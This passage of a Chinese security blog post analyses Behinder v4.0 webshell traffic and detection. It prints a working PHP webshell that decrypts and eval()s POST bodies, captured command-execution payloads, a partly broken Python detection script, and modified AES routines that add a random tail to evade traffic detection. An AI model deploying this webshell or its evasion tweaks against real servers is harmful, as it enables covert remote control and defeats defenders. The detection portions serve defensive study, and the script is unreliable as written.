        } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
            $fp = popen($c, 'r');
            $kWJW = NULL;
            if (is_resource($fp)) {
                while (! feof($fp)) {
                    $kWJW .= fread($fp, 1024);
                }
            }
            @pclose($fp);
        } else {
            $kWJW = 0;
            $result["status"] = base64_encode("fail");
            $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
            $key = $_SESSION['k'];
            echo encrypt(json_encode($result));
            return;
        }
        $result["status"] = base64_encode("success");
        $result["msg"] = base64_encode(getSafeStr($kWJW));
        echo encrypt(json_encode($result));
    }
    function encrypt($data)
    {
        $key="25f9e794323b4538";
            for($i=0;$i<strlen($data);$i++) {
            $data[$i] = $data[$i]^$key[$i+1&15];
        }
        $bs="base64_"."encode";
            $after=$bs($data."");
        return $after;
    }
    $cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
    $cmd=base64_decode($cmd);
    $path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
    $path=base64_decode($path);
    main($cmd,$path);
    

    $cmd 對應的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami

    $path 對應的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/

    對應回顯是

    {"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"}
    

    一些疑問和改進點

    簡單來說,如果作為藍隊,需要嚴格分析的是第三個流量包,也就是命令執行的流量包,這也最容易分析。在學習階段我也思考了具體的幾個點

    • ? 1、連馬是如何連上的,看起來 shell.php 需要我們 post 傳入 $data,這一步在流量分析中并沒有抓到。
    • ? 2、針對 aesxor_base64 進行加密的防御型腳本檢測。
    • ? 3、冰蝎的改寫,是否可以采用新型加密方式。

    0x04 冰蝎傳輸與攻防

    冰蝎傳輸與連馬&命令執行

    冰蝎 v4.0 版本不再有連接密碼的概念,你的自定義傳輸協議的算法就是連接密碼。按照冰蝎 3.0 版本當中的密碼依舊是 "rebeyond",但是冰蝎 v4.0 的馬使用蟻劍,以 "rebeyond" 作為密碼是連不上的(親測

    在流量層,冰蝎的 aes 特征一直是廠商查殺的重點,在主機層,aes 相關的 API 也是一個強特征。既然是特征,那就一定存在一個一成不變的常量,那我們就把這個特征泛化一下,讓他成為變量。為了一勞永逸解決這個問題,v4.0 版本提供了傳輸協議自定義功能,讓用戶對流量的加密和解密進行自定義,實現流量加解密協議的去中心化。

    首先看一下冰蝎Payload流轉的流程圖:

    可以分為這五個流程

    • ? 1、本地對 Payload 進行加密,然后通過 POST 請求發送給遠程服務端;
    • ? 2、服務端收到 Payload 密文后,利用解密算法進行解密;
    • ? 3、服務端執行解密后的 Payload,并獲取執行結果;

    這三步的基礎是 shell.php,通過 post 請求傳 body

    @error_reporting(0);
        function decrypt($data)
    {
        $key="25f9e794323b4538"; 
        $bs="base64_"."decode";
        $after=$bs($data."");
        for($i=0;$i<strlen($after);$i++) {
            $after[$i] = $after[$i]^$key[$i+1&15]; 
        }
        return $after;
    }
        $post=Decrypt(file_get_contents("php://input"));
        eval($post);
    ?>
    

    在第一次傳輸的時候,做了密鑰協商與指紋確認的事情,冰蝎需要先確定你(受攻擊端)確實是能夠和我(本地攻擊者)進行加解密,或者說可以進行數據傳輸,這也就是第一次發包。

    對應的代碼如下,這是冰蝎當中 payload/php 下的代碼 ———— Echo.php

    • ? 在實際傳輸過程中會發現冰蝎發包時多了一個 encrypt() 函數,我后續會對這一現象進行解釋。
    @error_reporting(0);
    function main($content)
    {
        $result = array();
        $result["status"] = base64_encode("success");
        $result["msg"] = base64_encode($content);
        @session_start();    //初始化session,避免connect之后直接background,后續get result無法獲取cookie
        echo encrypt(json_encode($result));
    }
    function encrypt($data)
    {    
        $key="25f9e794323b4538"; 
        for($i=0;$i<strlen($data);$i++) {
            $data[$i] = $data[$i]^$key[$i+1&15];     
        }    
        $bs="base64_"."encode";
        $after=$bs($data."");    
        return $after;
    }
    $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
    $content=base64_decode($content);
    main($content);
    

    在這一次內容傳輸結束之后,冰蝎確認被攻擊端與本地可以建立傳輸,才會發第二次包,也就是執行 phpinfo() 命令,代碼略。

    接著

    • ? 4、服務端對 Payload 執行結果進行加密,然后返回給本地客戶端;
    • ? 5、客戶端收到響應密文后,利用解密算法解密,得到響應內容明文。

    響應內容略,在上文中已經提到過。

    由上述流程可知,一個完整的傳輸協議由兩部分組成,本地協議和遠程協議。由于客戶端使用 Java 開發,因此本地協議的加解密算法需要用 Java 實現。遠程協議根據服務端語言類型,可能為 JavaPHPC#ASP。無論用哪種語言,同一個名稱的傳輸協議,本地和遠程的加解密邏輯應該是一致的,這樣才能實現本地加密后,遠程可以成功解密,遠程加密后,本地同樣也可以解密。

    如下是一個最簡單的 php 版本的傳輸協議:

    傳輸協議的加解密函數名稱分別為 Encrypt 和 Decrypt,且都只有一個入參,參數類型為二進制字節流。這也就是為什么在 shell.php 中存在一個 Decrypt() 函數,且每一次的發包中有 encrypt() 函數的原因。如此一來就實現了這一個條件 ———— 本地有一對加解密的函數,由 Java 編寫;遠程端(受攻擊端)存在一對加解密的函數,由對應遠程端的語言決定,如果是 php 就是由 php 編寫,若是 asp 就由 asp 編寫(親測如此)

    針對冰蝎 xor_base64 的檢測腳本編寫

    內容是基于 LiRiu 師傅的文章寫的

    • ? 我認為的腳本編寫,不應該是針對某個 User-Agent 或者是 Payload 開頭等進行單一的判斷,為了很多正常請求的通過,這些判斷一定是需要綜合考慮的。

    因此合理的方式應該是記分的,判斷惡意性的大小。我們先來看冰蝎在第二次連接的時候,也就是請求 phpinfo() 時的包

    針對一些 HTTP 頭的檢測

    HTTP 請求頭

    它的幾個 Accept 頭通常是固定的,所以這里可以作為一個主判斷點

    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Encoding: identity
    Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
    

    有的師傅說冰蝎 4.0 當中的 UA 是十選一的,我覺得這里占比相當小,并不需要將 UA 加入進判斷規則當中。

    Content-Length 較大

    Content-Length: 8244
    

    可以作為輔助特征進行檢測。

    冰蝎通訊默認使用長連接

    造成的影響是包中存在如下 HTTP 頭,可以作為輔助特征進行檢測。

    Connection: Keep-Alive
    

    端口檢測

    冰蝎與 webshell 建立連接的同時,javaw 也與目的主機建立 tcp 連接,每次連接使用本地端口在 49700 左右,每連接一次,每建立一次新的連接,端口就依次增加。此處可以對符合該范圍內的端口告警。

    針對惡意腳本內容的檢測

    冰蝎 shell 當中的惡意 php 腳本,頭都是一樣的,以 @error_reporting 開頭

    @error_reporting(0);  
    function main
    

    所以對于這一段,個人認為是可以作為主要檢測規則的,所以此處需要先寫一個 xor_base64,單純檢測惡意腳本的 python 程序如下

    from base64 import b64decode
    phrases = [
        "assert|eval(base64_decode('".encode(),
        b',
        b',
        b',
        b'error_reporting(0);function m',
        b',
        b',
        b'@error_reporting(0);function ma',
        b',
        b",
        b'@error_reporting(0);function g',
        b',
    ]
    def xor(l0, l1):
        ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]
        return "".join(ret)
            
    def check(cipher):
        cipher = b64decode(cipher)
        for phrase in phrases:
            p0 = phrase[0:16]
            p1 = phrase[16:]
            
            c0 = cipher[0:16]
            c1 = cipher[16:16+len(p1)]
            k0 = xor(p0, c0)
            k1 = xor(p1, c1)
            if k1 in k0:
                return k0
        return None
    cipher = "..."
    HeaderData = "..."
    key = check(cipher)
    if key:
        print("[+]", cipher[:32], "is XOR Behinder Request!")
        print("[+] The Key of Behinder is ", key)
    else:
        print("[-]", cipher[:32], "not Behinder Request..")
    

    接著加上輔助判斷

    def auxiliaryPoints(HeaderData):  
        # 輔助判斷的函數
        evilPoint = 0
        list = []
        LightBlacklist = [
            b'Accept: application/json, text/javascript, */*; q=0.01',
            b'Accept-Encoding: identity',
            b'Connection: Keep-Alive',
        ]
        for temp in HeaderData:
            list.append(temp)
        lenData = 0
        while lenData <= HeaderData.length():
            if(list[lenData].contains(LightBlacklist)):
                evilPoint = evilPoint + 10
        return evilPoint
    

    LiRiu 師傅的可以,但是我自己的包失敗了。。

    冰蝎馬的改寫與繞過 tips

    冰蝎作者提出了一種非常巧妙的繞過方式,也就是在 AES 加密的時候增加一個小尾巴,這個尾巴存在自定義的可能性,也就讓很多設備難以進行檢測了。

    加密算法

    本地默認的 aes 傳輸協議加密算法如下:

        private byte[] Encrypt(byte[] data) throws Exception
        {
            String key="e45e329feb5d925b";
            byte[] raw = key.getBytes("utf-8");
            javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
            javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/補碼方式"
            cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
            byte[] encrypted = cipher.doFinal(data);
            Class baseCls;
            try
            {
                baseCls=Class.forName("java.util.Base64");
                Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
                encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
            }
            catch (Throwable error)
            {
                baseCls=Class.forName("sun.misc.BASE64Encoder");
                Object Encoder=baseCls.newInstance();
                String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
                result=result.replace("", "").replace("\r", "");
                encrypted=result.getBytes();
            }
            return encrypted;
        }
    

    服務端是 PHP,使用默認的 aes 算法,但是由于默認使用的是 aes128 的算法,會導致密文長度恒是 16 的整數倍,流量設備可能通過這個特征來對冰蝎做流量識別,我現在想對默認算法做一個簡單修改,在密文最后最加一個 magic 尾巴,隨機產生一個隨機長度的額外字節數組

    修改后本地

    private byte[] Encrypt(byte[] data) throws Exception
    {
        String key="e45e329feb5d925b";
        byte[] raw = key.getBytes("utf-8");
        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/補碼方式"
        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
        byte[] encrypted = cipher.doFinal(data);
        Class baseCls;
        try
        {
            baseCls=Class.forName("java.util.Base64");
            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
        }
        catch (Throwable error)
        {
            baseCls=Class.forName("sun.misc.BASE64Encoder");
            Object Encoder=baseCls.newInstance();
            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
            result=result.replace("", "").replace("\r", "");
            encrypted=result.getBytes();
        }
        //增加魔法尾巴
        int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
        java.util.Random random=new java.util.Random();
        byte[] buf=new byte[magicNum];
        for (int i=0;i    {
            buf[i]=(byte)random.nextInt(256);
        }
        java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
        output.write(encrypted);
        output.write(buf);
        return output.toByteArray();
    }
    

    遠程

    由于我們目前假設的是一個 PHP 的目標環境,遠程加密函數采用 PHP 格式編寫,如下:

    function Encrypt($data)  
    {  
        $key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond  
        $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));  
        $magicNum=hexdec(substr($key,0,2))%16; //根據密鑰動態確定魔法尾巴的長度  
        for($i=0;$i<$magicNum;$i++) {  
            $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴  
        }  
        return $encrypted;  
    }
    

    解密算法

    在加密算法中,我們在原版 aes 的基礎上,在密文最后追加了一段魔法尾巴,尾巴長度為秘鑰的前兩位十六進制對應的數值對 16 取模的值。在解密時,我們只需要在原版 aes 解密函數的基礎上,把密文最后的尾巴截掉即可。分別對 Java 版本和 PHP 版本的解密函數做修改。

    本地

    private byte[] Decrypt(byte[] data) throws Exception
    {
        String k="e45e329feb5d925b";
        int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail長度
        data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail
        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
        byte[] decodebs;
        Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
                }
                catch (Throwable e)
                {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder=baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
                }
        return c.doFinal(decodebs);
    }
    

    遠程

    function Decrypt($data)  
    {  
        $key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond  
        $magicNum=hexdec(substr($key,0,2))%16; //取magic tail長度  
        $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail  
        return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);  
    }
    

    從理論上來說,這一種方式也可以繞過 xor_base64 的檢測

    0x05 小結

    對于冰蝎 4.0 版本的分析大部分還是由自己獨立完成,在還沒有看作者寫的內容的時候就意識到了傳輸協議的本質,冰蝎 4.0 寫的確實非常厲害。

    而在作者的文章當中也提供了很有啟發性的思維 ———— 盡量以算法的方式改寫冰蝎的攻擊

    aesencode
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    js逆向一直沒有相關了解,雖然目前滲透遇見的不是很多,大多數遇見的要么不加密,要么無法實現其加密流程,不過最近看到了一個較為簡單的站點正好能夠逆向出來,就做了簡單記錄。本文旨在介紹js逆向的一些基礎思路,希望能對初學js前端逆向的師傅有所幫助。
    一篇靜態免殺的文章
    在測試過程中遇到一個登錄框,看到前端加密的情況下對密碼處進行了簡單的加密分析在控制臺中打開網絡,匹配Fetch/XHR,可以看到password處進行了加密處理在js中全局搜索encrypt這里可以看到使用的是AES的ECB模式加密第一種方法使用python腳本來進行加密from Crypto.Cipher import AES
    在APP測試過程中,可能會遇到各種阻礙,如:Root檢測,不能在root手機進行測試。證書強校驗,會出現“網絡連接錯誤”等提示信息。請求包的body部分被加密,使用AES、RSA等等。目前比較好用的方法是Hook抓包,繞過一些檢測校驗。下一步思考,進行簡單的定位,分析請求包的body部分,觀察iv參數,很像base64編碼。嘗試使用base64解碼,解碼后的數據為 “5b567f680892474e”,這數據可能是AES算法的IV,十六進制的。
    注意:-e參數必須使用base64編碼結尾3、將加密之后的shellcode填充到/loader/loader.go中的shellcode變量4、將-e參數的值填充到/loader/loader.go中的encodestr變量中5、編譯/loader/loader.go文件go build -trimpath -ldflags="-w -s -H=windowsgui" ./loader/loader.go
    Bypass Shellcode - Encryptor
    2022-01-03 08:55:10
    Bypass Shellcode - Encryptor
    在客戶端發起密鑰協商后,會返回16位明文隨機密鑰。一類是可繞過特征,這類特征攻擊者可通過構造報文進行繞過,致使設備檢測不到冰蝎 webshell 特征。使用單個特征誤報較高,但多個特征配合使用可降低誤報,推薦多個特征搭配使用,進一步提升特征檢測的準確性。而Value一般是2至3位隨機純數字。
    Villain是一款針對Windows和Linux操作系統設計和開發的后門生成與多會話處理工具,該工具允許廣大研究人員與兄弟服務器或其他運行了Villain的設備進行連接,并共享他們的后門會話,以方便廣大研究人員和團隊之間的協同工作。由于該工具基于Python 3開發,因此廣大研究人員首先需要在本地設備上安裝并配置好Python 3環境。
    下載dll,并添加至ext中在php.ini 中添加該擴展修改configure.ini;?具體步驟通過phpinfo獲取擴展信息,根據不同的加密擴展進行嘗試利用默認密鑰進行加密,通過訪問webshell來判斷密鑰是否正確,當然,這種方法其實只能用于權限維持需要拿到權限后獲取擴展文件破解后,才能穩定獲取密鑰,進而加密webshell
    本文主要以拋出問題的方式,努力尋找在實際調試過程中遇到問題的真實答案,最后結合前輩們總結的知識點也用實踐檢驗了知識點,特此記錄。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类